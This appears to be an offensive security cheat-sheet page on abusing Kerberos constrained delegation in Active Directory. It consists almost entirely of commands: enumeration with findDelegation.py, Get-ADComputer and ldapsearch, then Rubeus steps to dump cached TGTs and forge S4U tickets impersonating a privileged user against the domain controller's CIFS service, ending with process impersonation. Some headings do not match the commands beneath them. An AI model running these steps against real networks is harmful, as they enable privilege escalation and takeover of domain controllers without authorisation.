Constrained Delegation
Last updated
Last updated
findDelegation.py [domain]/[username]:[password]Get-ADComputer "Account" -Properties TrustedForDelegation,TrustedToAuthForDelegation,msDS-AllowedToDelegateTo,PrincipalsAllowedToDelegateToAccountldapsearch -x -H ldap://[DC FQCN] \
-D 'user@domain' -w 'password' \
-b 'DC=domain,DC=local' \
'(&(objectCategory=computer)(msDS-AllowedToDelegateTo=*))' \
dNSHostName sAMAccountName msDS-AllowedToDelegateTo## Show Cached Tickets
Rubeus.exe triage
## Extract The TGT Using Its LUID (/nowrap To Make It Copy Friendly)
Rubeus.exe dump /luid:[luid of target tgt] /nowrap
## Perform a S4U2Self to obtain TGS for SQL$
Rubeus.exe s4u /impersonateuser:[privileged user] /msdsspn:cifs/dc.[domain] /user:sql$ /ticket:[tgt] /nowrap
## Perform a S4U2Proxy to obtain TGS for CIFS/DC$
Rubeus.exe createnetonly /program:C:\Windows\System32\cmd.exe /domain:[domain] /username:[privileged user] /password:AnyPassword /ticket:[tgs for sql$]
## Use A Tool To Impersonate The Process Created Above
Invoke-SharpImpersonation -Command "pid:[pid]"